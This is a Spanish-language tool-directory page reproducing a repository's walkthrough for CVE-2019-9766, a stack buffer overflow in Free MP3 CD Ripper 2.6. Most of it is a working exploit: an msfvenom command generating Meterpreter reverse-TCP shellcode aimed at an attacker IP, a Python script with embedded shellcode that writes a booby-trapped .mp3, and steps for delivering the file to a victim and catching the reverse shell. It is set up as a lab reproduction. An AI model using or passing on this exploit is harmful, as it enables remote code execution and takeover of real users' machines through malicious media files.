Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/zeronohacker/cve-2019-9766
Análisis de VulnerabilidadesExplotaciónShellcodePruebas de PenetraciónDesarrollo de PayloadsExplotación de Binarios
GitHubzeronohacker/cve-2019-9766

CVE-2019-9766

Free MP3 CD Ripper 2.6 contiene una vulnerabilidad de desbordamiento de búfer en la pila (CVE-2019-9766). Un atacante remoto podría explotar esta vulnerabilidad mediante un archivo .mp3 especialmente manipulado para ejecutar código arbitrario.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 3 añosAún no revisado

CVE-2019-9766

Aprovechando la vulnerabilidad de desbordamiento de búfer en Free MP3 CD Ripper versión 2.6, se construye un archivo MP3 especial. Cuando el atacante reproduce el archivo con el reproductor, el cebo de audio explota la vulnerabilidad de desbordamiento de búfer para ejecutar código arbitrario.

Reproducción

Máquina atacante: kali201903 (192.168.198.142)

Máquina víctima: windows10 21H1 (192.168.198.137)

Instale Free MP3 CD Ripper 2.6 en la máquina víctima, y en la máquina Kali use MSF para generar el shellcode de conexión inversa:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.198.142 lport=888 -f c --smallest

image-20220914095217904

Reemplace el payload en el siguiente código con el payload generado arriba:

root@kitploit:~
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6e\x84"
buf += "\x68\x02\x00\x03\x78\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

pad = "B" * (316 - len(nops) - len(buf))
payload = buffer + NSEH + SEH + nops + buf + pad
try:
    f = open("Test_Free_MP3.mp3","w")
    print "[+]Creating %s bytes mp3 Files..."%len(payload)
    f.write(payload)
    f.close() 
    print "[+]mp3 File created successfully!"
except:
    print "File cannot be created!"

Ejecute el script para generar un archivo .mp3:

image-20220914095432399

Mueva este archivo mp3 a la máquina víctima. Luego, inicie la consola MSF en la máquina Kali y configure los parámetros como se muestra a continuación:

image-20220914095709754

Una vez configurado, comience a escuchar. Abra el archivo mp3 con el software en la máquina víctima; la shell inversa se obtiene exitosamente:

image-20220914100209829

Nota: Solo funciona con la versión Kali2019; Kali 2020 y posteriores fallan (relacionado con la versión de MSF). Además, debe ser en Windows 10; en Windows 7 la verificación falla (ambas de 64 bits).

Referencia: https://www.code456.com/article/1464254.html

Descargar herramienta